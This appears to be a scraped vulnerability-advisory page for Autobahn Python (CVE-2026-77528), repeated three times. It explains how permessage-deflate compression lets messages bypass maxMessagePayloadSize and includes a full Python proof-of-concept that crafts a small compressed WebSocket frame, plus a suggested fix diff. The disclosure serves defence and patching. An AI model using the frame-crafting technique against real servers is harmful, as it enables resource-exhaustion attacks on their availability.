+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Mar 31, 2020

20.2.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Feb 16, 2020

20.1.2 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jan 24, 2020

20.1.1 major

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
